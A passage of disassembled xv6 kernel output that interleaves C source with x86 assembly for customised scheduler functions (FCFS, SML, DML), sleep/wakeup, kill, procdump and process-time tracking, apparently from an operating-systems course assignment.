(p->ctime < chosenProc->ctime))) 801053c0: 8b 45 f4 mov -0xc(%ebp),%eax 801053c3: 8b 40 0c mov 0xc(%eax),%eax 801053c6: 83 f8 03 cmp $0x3,%eax 801053c9: 75 1c jne 801053e7 <scheduler_fcfs+0x4e> 801053cb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801053cf: 74 10 je 801053e1 <scheduler_fcfs+0x48> 801053d1: 8b 45 f4 mov -0xc(%ebp),%eax 801053d4: 8b 50 7c mov 0x7c(%eax),%edx 801053d7: 8b 45 f0 mov -0x10(%ebp),%eax 801053da: 8b 40 7c mov 0x7c(%eax),%eax 801053dd: 39 c2 cmp %eax,%edx 801053df: 73 06 jae 801053e7 <scheduler_fcfs+0x4e> chosenProc=p; 801053e1: 8b 45 f4 mov -0xc(%ebp),%eax 801053e4: 89 45 f0 mov %eax,-0x10(%ebp) // Loop over process table looking for process to run. acquire(&ptable.lock); chosenProc=0; //Set chosenProc to the runnable proc with the minimum creation time. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801053e7: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp) 801053ee: 81 7d f4 d4 65 11 80 cmpl $0x801165d4,-0xc(%ebp) 801053f5: 72 c9 jb 801053c0 <scheduler_fcfs+0x27> if(p->state == RUNNABLE && (!chosenProc || (p->ctime < chosenProc->ctime))) chosenProc=p; } if (!chosenProc) { 801053f7: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801053fb: 75 0f jne 8010540c <scheduler_fcfs+0x73> release(&ptable.lock); 801053fd: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80105404: e8 04 08 00 00 call 80105c0d <release> continue; 80105409: 90 nop // Process is done running for now. // It should have changed its p->state before coming back. proc = 0; release(&ptable.lock); } 8010540a: eb 93 jmp 8010539f <scheduler_fcfs+0x6> } // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. proc=chosenProc; 8010540c: 8b 45 f0 mov -0x10(%ebp),%eax 8010540f: 65 a3 04 00 00 00 mov %eax,%gs:0x4 //run process untill its no longer need cpu time while(proc->state==RUNNABLE) { 80105415: eb 39 jmp 80105450 <scheduler_fcfs+0xb7> switchuvm(chosenProc); 80105417: 8b 45 f0 mov -0x10(%ebp),%eax 8010541a: 89 04 24 mov %eax,(%esp) 8010541d: e8 18 37 00 00 call 80108b3a <switchuvm> chosenProc->state = RUNNING; 80105422: 8b 45 f0 mov -0x10(%ebp),%eax 80105425: c7 40 0c 04 00 00 00 movl $0x4,0xc(%eax) swtch(&cpu->scheduler, proc->context); 8010542c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105432: 8b 40 1c mov 0x1c(%eax),%eax 80105435: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 8010543c: 83 c2 04 add $0x4,%edx 8010543f: 89 44 24 04 mov %eax,0x4(%esp) 80105443: 89 14 24 mov %edx,(%esp) 80105446: e8 55 0c 00 00 call 801060a0 <swtch> switchkvm(); 8010544b: e8 cd 36 00 00 call 80108b1d <switchkvm> // to release ptable.lock and then reacquire it // before jumping back to us. proc=chosenProc; //run process untill its no longer need cpu time while(proc->state==RUNNABLE) { 80105450: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105456: 8b 40 0c mov 0xc(%eax),%eax 80105459: 83 f8 03 cmp $0x3,%eax 8010545c: 74 b9 je 80105417 <scheduler_fcfs+0x7e> switchkvm(); } // Process is done running for now. // It should have changed its p->state before coming back. proc = 0; 8010545e: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4 80105465: 00 00 00 00 release(&ptable.lock); 80105469: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80105470: e8 98 07 00 00 call 80105c0d <release> } 80105475: e9 25 ff ff ff jmp 8010539f <scheduler_fcfs+0x6> 8010547a <scheduler_sml>: } void scheduler_sml(void) { 8010547a: 55 push %ebp 8010547b: 89 e5 mov %esp,%ebp 8010547d: 83 ec 28 sub $0x28,%esp struct proc *p,*chosenProc=0; 80105480: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) uint priority; int beenInside=0; 80105487: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) for(;;){ // Enable interrupts on this processor. sti(); 8010548e: e8 86 f7 ff ff call 80104c19 <sti> acquire(&ptable.lock); 80105493: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010549a: e8 0c 07 00 00 call 80105bab <acquire> //we start at MAX_PRIORITY, if we didnt find a process then we decrease the priority. if we found one, we resets it to max priority. if (beenInside && !chosenProc && priority>MIN_PRIORITY) 8010549f: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 801054a3: 74 12 je 801054b7 <scheduler_sml+0x3d> 801054a5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801054a9: 75 0c jne 801054b7 <scheduler_sml+0x3d> 801054ab: 83 7d ec 01 cmpl $0x1,-0x14(%ebp) 801054af: 76 06 jbe 801054b7 <scheduler_sml+0x3d> priority--; 801054b1: 83 6d ec 01 subl $0x1,-0x14(%ebp) 801054b5: eb 07 jmp 801054be <scheduler_sml+0x44> else priority=MAX_PRIORITY; 801054b7: c7 45 ec 03 00 00 00 movl $0x3,-0x14(%ebp) chosenProc=0; 801054be: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) beenInside=1; 801054c5: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp) // Loop over process table looking for process to run. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801054cc: c7 45 f4 d4 41 11 80 movl $0x801141d4,-0xc(%ebp) 801054d3: e9 90 00 00 00 jmp 80105568 <scheduler_sml+0xee> if((p->state != RUNNABLE) || (p->priority!=priority)) 801054d8: 8b 45 f4 mov -0xc(%ebp),%eax 801054db: 8b 40 0c mov 0xc(%eax),%eax 801054de: 83 f8 03 cmp $0x3,%eax 801054e1: 75 7d jne 80105560 <scheduler_sml+0xe6> 801054e3: 8b 45 f4 mov -0xc(%ebp),%eax 801054e6: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 801054ec: 3b 45 ec cmp -0x14(%ebp),%eax 801054ef: 75 6f jne 80105560 <scheduler_sml+0xe6> continue; // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. chosenProc=p; 801054f1: 8b 45 f4 mov -0xc(%ebp),%eax 801054f4: 89 45 f0 mov %eax,-0x10(%ebp) proc = p; 801054f7: 8b 45 f4 mov -0xc(%ebp),%eax 801054fa: 65 a3 04 00 00 00 mov %eax,%gs:0x4 switchuvm(p); 80105500: 8b 45 f4 mov -0xc(%ebp),%eax 80105503: 89 04 24 mov %eax,(%esp) 80105506: e8 2f 36 00 00 call 80108b3a <switchuvm> p->state = RUNNING; 8010550b: 8b 45 f4 mov -0xc(%ebp),%eax 8010550e: c7 40 0c 04 00 00 00 movl $0x4,0xc(%eax) swtch(&cpu->scheduler, proc->context); 80105515: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010551b: 8b 40 1c mov 0x1c(%eax),%eax 8010551e: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80105525: 83 c2 04 add $0x4,%edx 80105528: 89 44 24 04 mov %eax,0x4(%esp) 8010552c: 89 14 24 mov %edx,(%esp) 8010552f: e8 6c 0b 00 00 call 801060a0 <swtch> switchkvm(); 80105534: e8 e4 35 00 00 call 80108b1d <switchkvm> // If a system call to change priority has been made, we need to relate this. if (p->priority>priority) 80105539: 8b 45 f4 mov -0xc(%ebp),%eax 8010553c: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 80105542: 3b 45 ec cmp -0x14(%ebp),%eax 80105545: 76 0c jbe 80105553 <scheduler_sml+0xd9> priority=p->priority; 80105547: 8b 45 f4 mov -0xc(%ebp),%eax 8010554a: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 80105550: 89 45 ec mov %eax,-0x14(%ebp) // Process is done running for now. // It should have changed its p->state before coming back. proc = 0; 80105553: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4 8010555a: 00 00 00 00 8010555e: eb 01 jmp 80105561 <scheduler_sml+0xe7> chosenProc=0; beenInside=1; // Loop over process table looking for process to run. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if((p->state != RUNNABLE) || (p->priority!=priority)) continue; 80105560: 90 nop priority=MAX_PRIORITY; chosenProc=0; beenInside=1; // Loop over process table looking for process to run. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105561: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp) 80105568: 81 7d f4 d4 65 11 80 cmpl $0x801165d4,-0xc(%ebp) 8010556f: 0f 82 63 ff ff ff jb 801054d8 <scheduler_sml+0x5e> // Process is done running for now. // It should have changed its p->state before coming back. proc = 0; } release(&ptable.lock); 80105575: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010557c: e8 8c 06 00 00 call 80105c0d <release> } 80105581: e9 08 ff ff ff jmp 8010548e <scheduler_sml+0x14> 80105586 <scheduler_dml>: } void scheduler_dml(void) { 80105586: 55 push %ebp 80105587: 89 e5 mov %esp,%ebp 80105589: 83 ec 08 sub $0x8,%esp scheduler_sml(); 8010558c: e8 e9 fe ff ff call 8010547a <scheduler_sml> 80105591 <scheduler>: } void scheduler(void) { 80105591: 55 push %ebp 80105592: 89 e5 mov %esp,%ebp 80105594: 83 ec 08 sub $0x8,%esp #elif SCHEDFLAG == FCFS scheduler_fcfs(); #elif SCHEDFLAG == SML scheduler_sml(); #elif SCHEDFLAG == DML scheduler_dml(); 80105597: e8 ea ff ff ff call 80105586 <scheduler_dml> 8010559c <sched>: // Enter scheduler. Must hold only ptable.lock // and have changed proc->state. void sched(void) { 8010559c: 55 push %ebp 8010559d: 89 e5 mov %esp,%ebp 8010559f: 83 ec 28 sub $0x28,%esp int intena; if(!holding(&ptable.lock)) 801055a2: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801055a9: e8 1b 07 00 00 call 80105cc9 <holding> 801055ae: 85 c0 test %eax,%eax 801055b0: 75 0c jne 801055be <sched+0x22> panic("sched ptable.lock"); 801055b2: c7 04 24 35 96 10 80 movl $0x80109635,(%esp) 801055b9: e8 7f af ff ff call 8010053d <panic> if(cpu->ncli != 1) 801055be: 65 a1 00 00 00 00 mov %gs:0x0,%eax 801055c4: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax 801055ca: 83 f8 01 cmp $0x1,%eax 801055cd: 74 0c je 801055db <sched+0x3f> panic("sched locks"); 801055cf: c7 04 24 47 96 10 80 movl $0x80109647,(%esp) 801055d6: e8 62 af ff ff call 8010053d <panic> if(proc->state == RUNNING) 801055db: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801055e1: 8b 40 0c mov 0xc(%eax),%eax 801055e4: 83 f8 04 cmp $0x4,%eax 801055e7: 75 0c jne 801055f5 <sched+0x59> panic("sched running"); 801055e9: c7 04 24 53 96 10 80 movl $0x80109653,(%esp) 801055f0: e8 48 af ff ff call 8010053d <panic> if(readeflags()&FL_IF) 801055f5: e8 0a f6 ff ff call 80104c04 <readeflags> 801055fa: 25 00 02 00 00 and $0x200,%eax 801055ff: 85 c0 test %eax,%eax 80105601: 74 0c je 8010560f <sched+0x73> panic("sched interruptible"); 80105603: c7 04 24 61 96 10 80 movl $0x80109661,(%esp) 8010560a: e8 2e af ff ff call 8010053d <panic> intena = cpu->intena; 8010560f: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105615: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax 8010561b: 89 45 f4 mov %eax,-0xc(%ebp) swtch(&proc->context, cpu->scheduler); 8010561e: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105624: 8b 40 04 mov 0x4(%eax),%eax 80105627: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 8010562e: 83 c2 1c add $0x1c,%edx 80105631: 89 44 24 04 mov %eax,0x4(%esp) 80105635: 89 14 24 mov %edx,(%esp) 80105638: e8 63 0a 00 00 call 801060a0 <swtch> cpu->intena = intena; 8010563d: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105643: 8b 55 f4 mov -0xc(%ebp),%edx 80105646: 89 90 b0 00 00 00 mov %edx,0xb0(%eax) } 8010564c: c9 leave 8010564d: c3 ret 8010564e <yield>: // Give up the CPU for one scheduling round. void yield(void) { 8010564e: 55 push %ebp 8010564f: 89 e5 mov %esp,%ebp 80105651: 83 ec 18 sub $0x18,%esp acquire(&ptable.lock); //DOC: yieldlock 80105654: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010565b: e8 4b 05 00 00 call 80105bab <acquire> proc->state = RUNNABLE; 80105660: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105666: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) sched(); 8010566d: e8 2a ff ff ff call 8010559c <sched> release(&ptable.lock); 80105672: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80105679: e8 8f 05 00 00 call 80105c0d <release> } 8010567e: c9 leave 8010567f: c3 ret 80105680 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 80105680: 55 push %ebp 80105681: 89 e5 mov %esp,%ebp 80105683: 83 ec 18 sub $0x18,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 80105686: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010568d: e8 7b 05 00 00 call 80105c0d <release> if (first) { 80105692: a1 20 c0 10 80 mov 0x8010c020,%eax 80105697: 85 c0 test %eax,%eax 80105699: 74 22 je 801056bd <forkret+0x3d> // Some initialization functions must be run in the context // of a regular process (e.g., they call sleep), and thus cannot // be run from main(). first = 0; 8010569b: c7 05 20 c0 10 80 00 movl $0x0,0x8010c020 801056a2: 00 00 00 iinit(ROOTDEV); 801056a5: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801056ac: e8 2b c7 ff ff call 80101ddc <iinit> initlog(ROOTDEV); 801056b1: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801056b8: e8 63 e4 ff ff call 80103b20 <initlog> } // Return to "caller", actually trapret (see allocproc). } 801056bd: c9 leave 801056be: c3 ret 801056bf <sleep>: // Atomically release lock and sleep on chan. // Reacquires lock when awakened. void sleep(void *chan, struct spinlock *lk) { 801056bf: 55 push %ebp 801056c0: 89 e5 mov %esp,%ebp 801056c2: 83 ec 18 sub $0x18,%esp if(proc == 0) 801056c5: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801056cb: 85 c0 test %eax,%eax 801056cd: 75 0c jne 801056db <sleep+0x1c> panic("sleep"); 801056cf: c7 04 24 75 96 10 80 movl $0x80109675,(%esp) 801056d6: e8 62 ae ff ff call 8010053d <panic> if(lk == 0) 801056db: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 801056df: 75 0c jne 801056ed <sleep+0x2e> panic("sleep without lk"); 801056e1: c7 04 24 7b 96 10 80 movl $0x8010967b,(%esp) 801056e8: e8 50 ae ff ff call 8010053d <panic> // change p->state and then call sched. // Once we hold ptable.lock, we can be // guaranteed that we won't miss any wakeup // (wakeup runs with ptable.lock locked), // so it's okay to release lk. if(lk != &ptable.lock){ //DOC: sleeplock0 801056ed: 81 7d 0c a0 41 11 80 cmpl $0x801141a0,0xc(%ebp) 801056f4: 74 17 je 8010570d <sleep+0x4e> acquire(&ptable.lock); //DOC: sleeplock1 801056f6: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801056fd: e8 a9 04 00 00 call 80105bab <acquire> release(lk); 80105702: 8b 45 0c mov 0xc(%ebp),%eax 80105705: 89 04 24 mov %eax,(%esp) 80105708: e8 00 05 00 00 call 80105c0d <release> } // Go to sleep. proc->chan = chan; 8010570d: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105713: 8b 55 08 mov 0x8(%ebp),%edx 80105716: 89 50 20 mov %edx,0x20(%eax) proc->state = SLEEPING; 80105719: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010571f: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax) sched(); 80105726: e8 71 fe ff ff call 8010559c <sched> // Tidy up. proc->chan = 0; 8010572b: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105731: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax) // Reacquire original lock. if(lk != &ptable.lock){ //DOC: sleeplock2 80105738: 81 7d 0c a0 41 11 80 cmpl $0x801141a0,0xc(%ebp) 8010573f: 74 17 je 80105758 <sleep+0x99> release(&ptable.lock); 80105741: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80105748: e8 c0 04 00 00 call 80105c0d <release> acquire(lk); 8010574d: 8b 45 0c mov 0xc(%ebp),%eax 80105750: 89 04 24 mov %eax,(%esp) 80105753: e8 53 04 00 00 call 80105bab <acquire> } } 80105758: c9 leave 80105759: c3 ret 8010575a <wakeup1>: //PAGEBREAK! // Wake up all processes sleeping on chan. // The ptable lock must be held. static void wakeup1(void *chan) { 8010575a: 55 push %ebp 8010575b: 89 e5 mov %esp,%ebp 8010575d: 83 ec 10 sub $0x10,%esp struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80105760: c7 45 fc d4 41 11 80 movl $0x801141d4,-0x4(%ebp) 80105767: eb 34 jmp 8010579d <wakeup1+0x43> if(p->state == SLEEPING && p->chan == chan){ 80105769: 8b 45 fc mov -0x4(%ebp),%eax 8010576c: 8b 40 0c mov 0xc(%eax),%eax 8010576f: 83 f8 02 cmp $0x2,%eax 80105772: 75 22 jne 80105796 <wakeup1+0x3c> 80105774: 8b 45 fc mov -0x4(%ebp),%eax 80105777: 8b 40 20 mov 0x20(%eax),%eax 8010577a: 3b 45 08 cmp 0x8(%ebp),%eax 8010577d: 75 17 jne 80105796 <wakeup1+0x3c> #if SCHEDFLAG == DML p->priority=MAX_PRIORITY; 8010577f: 8b 45 fc mov -0x4(%ebp),%eax 80105782: c7 80 8c 00 00 00 03 movl $0x3,0x8c(%eax) 80105789: 00 00 00 #endif p->state = RUNNABLE; 8010578c: 8b 45 fc mov -0x4(%ebp),%eax 8010578f: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80105796: 81 45 fc 90 00 00 00 addl $0x90,-0x4(%ebp) 8010579d: 81 7d fc d4 65 11 80 cmpl $0x801165d4,-0x4(%ebp) 801057a4: 72 c3 jb 80105769 <wakeup1+0xf> p->priority=MAX_PRIORITY; #endif p->state = RUNNABLE; } } 801057a6: c9 leave 801057a7: c3 ret 801057a8 <wakeup>: // Wake up all processes sleeping on chan. void wakeup(void *chan) { 801057a8: 55 push %ebp 801057a9: 89 e5 mov %esp,%ebp 801057ab: 83 ec 18 sub $0x18,%esp acquire(&ptable.lock); 801057ae: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801057b5: e8 f1 03 00 00 call 80105bab <acquire> wakeup1(chan); 801057ba: 8b 45 08 mov 0x8(%ebp),%eax 801057bd: 89 04 24 mov %eax,(%esp) 801057c0: e8 95 ff ff ff call 8010575a <wakeup1> release(&ptable.lock); 801057c5: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801057cc: e8 3c 04 00 00 call 80105c0d <release> } 801057d1: c9 leave 801057d2: c3 ret 801057d3 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 801057d3: 55 push %ebp 801057d4: 89 e5 mov %esp,%ebp 801057d6: 83 ec 28 sub $0x28,%esp struct proc *p; acquire(&ptable.lock); 801057d9: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801057e0: e8 c6 03 00 00 call 80105bab <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801057e5: c7 45 f4 d4 41 11 80 movl $0x801141d4,-0xc(%ebp) 801057ec: eb 44 jmp 80105832 <kill+0x5f> if(p->pid == pid){ 801057ee: 8b 45 f4 mov -0xc(%ebp),%eax 801057f1: 8b 40 10 mov 0x10(%eax),%eax 801057f4: 3b 45 08 cmp 0x8(%ebp),%eax 801057f7: 75 32 jne 8010582b <kill+0x58> p->killed = 1; 801057f9: 8b 45 f4 mov -0xc(%ebp),%eax 801057fc: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) // Wake process from sleep if necessary. if(p->state == SLEEPING) 80105803: 8b 45 f4 mov -0xc(%ebp),%eax 80105806: 8b 40 0c mov 0xc(%eax),%eax 80105809: 83 f8 02 cmp $0x2,%eax 8010580c: 75 0a jne 80105818 <kill+0x45> p->state = RUNNABLE; 8010580e: 8b 45 f4 mov -0xc(%ebp),%eax 80105811: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) release(&ptable.lock); 80105818: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010581f: e8 e9 03 00 00 call 80105c0d <release> return 0; 80105824: b8 00 00 00 00 mov $0x0,%eax 80105829: eb 21 jmp 8010584c <kill+0x79> kill(int pid) { struct proc *p; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 8010582b: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp) 80105832: 81 7d f4 d4 65 11 80 cmpl $0x801165d4,-0xc(%ebp) 80105839: 72 b3 jb 801057ee <kill+0x1b> p->state = RUNNABLE; release(&ptable.lock); return 0; } } release(&ptable.lock); 8010583b: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80105842: e8 c6 03 00 00 call 80105c0d <release> return -1; 80105847: b8 ff ff ff ff mov $0xffffffff,%eax } 8010584c: c9 leave 8010584d: c3 ret 8010584e <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 8010584e: 55 push %ebp 8010584f: 89 e5 mov %esp,%ebp 80105851: 83 ec 58 sub $0x58,%esp int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105854: c7 45 f0 d4 41 11 80 movl $0x801141d4,-0x10(%ebp) 8010585b: e9 db 00 00 00 jmp 8010593b <procdump+0xed> if(p->state == UNUSED) 80105860: 8b 45 f0 mov -0x10(%ebp),%eax 80105863: 8b 40 0c mov 0xc(%eax),%eax 80105866: 85 c0 test %eax,%eax 80105868: 0f 84 c5 00 00 00 je 80105933 <procdump+0xe5> continue; if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 8010586e: 8b 45 f0 mov -0x10(%ebp),%eax 80105871: 8b 40 0c mov 0xc(%eax),%eax 80105874: 83 f8 05 cmp $0x5,%eax 80105877: 77 23 ja 8010589c <procdump+0x4e> 80105879: 8b 45 f0 mov -0x10(%ebp),%eax 8010587c: 8b 40 0c mov 0xc(%eax),%eax 8010587f: 8b 04 85 08 c0 10 80 mov -0x7fef3ff8(,%eax,4),%eax 80105886: 85 c0 test %eax,%eax 80105888: 74 12 je 8010589c <procdump+0x4e> state = states[p->state]; 8010588a: 8b 45 f0 mov -0x10(%ebp),%eax 8010588d: 8b 40 0c mov 0xc(%eax),%eax 80105890: 8b 04 85 08 c0 10 80 mov -0x7fef3ff8(,%eax,4),%eax 80105897: 89 45 ec mov %eax,-0x14(%ebp) 8010589a: eb 07 jmp 801058a3 <procdump+0x55> else state = "???"; 8010589c: c7 45 ec 8c 96 10 80 movl $0x8010968c,-0x14(%ebp) cprintf("%d %s %s", p->pid, state, p->name); 801058a3: 8b 45 f0 mov -0x10(%ebp),%eax 801058a6: 8d 50 6c lea 0x6c(%eax),%edx 801058a9: 8b 45 f0 mov -0x10(%ebp),%eax 801058ac: 8b 40 10 mov 0x10(%eax),%eax 801058af: 89 54 24 0c mov %edx,0xc(%esp) 801058b3: 8b 55 ec mov -0x14(%ebp),%edx 801058b6: 89 54 24 08 mov %edx,0x8(%esp) 801058ba: 89 44 24 04 mov %eax,0x4(%esp) 801058be: c7 04 24 90 96 10 80 movl $0x80109690,(%esp) 801058c5: e8 d7 aa ff ff call 801003a1 <cprintf> if(p->state == SLEEPING){ 801058ca: 8b 45 f0 mov -0x10(%ebp),%eax 801058cd: 8b 40 0c mov 0xc(%eax),%eax 801058d0: 83 f8 02 cmp $0x2,%eax 801058d3: 75 50 jne 80105925 <procdump+0xd7> getcallerpcs((uint*)p->context->ebp+2, pc); 801058d5: 8b 45 f0 mov -0x10(%ebp),%eax 801058d8: 8b 40 1c mov 0x1c(%eax),%eax 801058db: 8b 40 0c mov 0xc(%eax),%eax 801058de: 83 c0 08 add $0x8,%eax 801058e1: 8d 55 c4 lea -0x3c(%ebp),%edx 801058e4: 89 54 24 04 mov %edx,0x4(%esp) 801058e8: 89 04 24 mov %eax,(%esp) 801058eb: e8 6c 03 00 00 call 80105c5c <getcallerpcs> for(i=0; i<10 && pc[i] != 0; i++) 801058f0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801058f7: eb 1b jmp 80105914 <procdump+0xc6> cprintf(" %p", pc[i]); 801058f9: 8b 45 f4 mov -0xc(%ebp),%eax 801058fc: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax 80105900: 89 44 24 04 mov %eax,0x4(%esp) 80105904: c7 04 24 99 96 10 80 movl $0x80109699,(%esp) 8010590b: e8 91 aa ff ff call 801003a1 <cprintf> else state = "???"; cprintf("%d %s %s", p->pid, state, p->name); if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) 80105910: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80105914: 83 7d f4 09 cmpl $0x9,-0xc(%ebp) 80105918: 7f 0b jg 80105925 <procdump+0xd7> 8010591a: 8b 45 f4 mov -0xc(%ebp),%eax 8010591d: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax 80105921: 85 c0 test %eax,%eax 80105923: 75 d4 jne 801058f9 <procdump+0xab> cprintf(" %p", pc[i]); } cprintf("\n"); 80105925: c7 04 24 9d 96 10 80 movl $0x8010969d,(%esp) 8010592c: e8 70 aa ff ff call 801003a1 <cprintf> 80105931: eb 01 jmp 80105934 <procdump+0xe6> char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->state == UNUSED) continue; 80105933: 90 nop int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105934: 81 45 f0 90 00 00 00 addl $0x90,-0x10(%ebp) 8010593b: 81 7d f0 d4 65 11 80 cmpl $0x801165d4,-0x10(%ebp) 80105942: 0f 82 18 ff ff ff jb 80105860 <procdump+0x12> for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); } } 80105948: c9 leave 80105949: c3 ret 8010594a <updateTimes>: void updateTimes() { 8010594a: 55 push %ebp 8010594b: 89 e5 mov %esp,%ebp 8010594d: 83 ec 10 sub $0x10,%esp struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105950: c7 45 fc d4 41 11 80 movl $0x801141d4,-0x4(%ebp) 80105957: eb 67 jmp 801059c0 <updateTimes+0x76> if(p->state == RUNNABLE) 80105959: 8b 45 fc mov -0x4(%ebp),%eax 8010595c: 8b 40 0c mov 0xc(%eax),%eax 8010595f: 83 f8 03 cmp $0x3,%eax 80105962: 75 15 jne 80105979 <updateTimes+0x2f> p->retime++; 80105964: 8b 45 fc mov -0x4(%ebp),%eax 80105967: 8b 80 84 00 00 00 mov 0x84(%eax),%eax 8010596d: 8d 50 01 lea 0x1(%eax),%edx 80105970: 8b 45 fc mov -0x4(%ebp),%eax 80105973: 89 90 84 00 00 00 mov %edx,0x84(%eax) if(p->state == RUNNING) 80105979: 8b 45 fc mov -0x4(%ebp),%eax 8010597c: 8b 40 0c mov 0xc(%eax),%eax 8010597f: 83 f8 04 cmp $0x4,%eax 80105982: 75 15 jne 80105999 <updateTimes+0x4f> p->rutime++; 80105984: 8b 45 fc mov -0x4(%ebp),%eax 80105987: 8b 80 88 00 00 00 mov 0x88(%eax),%eax 8010598d: 8d 50 01 lea 0x1(%eax),%edx 80105990: 8b 45 fc mov -0x4(%ebp),%eax 80105993: 89 90 88 00 00 00 mov %edx,0x88(%eax) if(p->state == SLEEPING) 80105999: 8b 45 fc mov -0x4(%ebp),%eax 8010599c: 8b 40 0c mov 0xc(%eax),%eax 8010599f: 83 f8 02 cmp $0x2,%eax 801059a2: 75 15 jne 801059b9 <updateTimes+0x6f> p->stime++; 801059a4: 8b 45 fc mov -0x4(%ebp),%eax 801059a7: 8b 80 80 00 00 00 mov 0x80(%eax),%eax 801059ad: 8d 50 01 lea 0x1(%eax),%edx 801059b0: 8b 45 fc mov -0x4(%ebp),%eax 801059b3: 89 90 80 00 00 00 mov %edx,0x80(%eax) void updateTimes() { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801059b9: 81 45 fc 90 00 00 00 addl $0x90,-0x4(%ebp) 801059c0: 81 7d fc d4 65 11 80 cmpl $0x801165d4,-0x4(%ebp) 801059c7: 72 90 jb 80105959 <updateTimes+0xf> if(p->state == RUNNING) p->rutime++; if(p->state == SLEEPING) p->stime++; } } 801059c9: c9 leave 801059ca: c3 ret 801059cb <wait2>: int wait2(int *retime, int *rutime, int* stime) { 801059cb: 55 push %ebp 801059cc: 89 e5 mov %esp,%ebp 801059ce: 83 ec 28 sub $0x28,%esp struct proc *p; int havekids, pid; acquire(&ptable.lock); 801059d1: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801059d8: e8 ce 01 00 00 call 80105bab <acquire> for(;;){ // Scan through table looking for zombie children. havekids = 0; 801059dd: 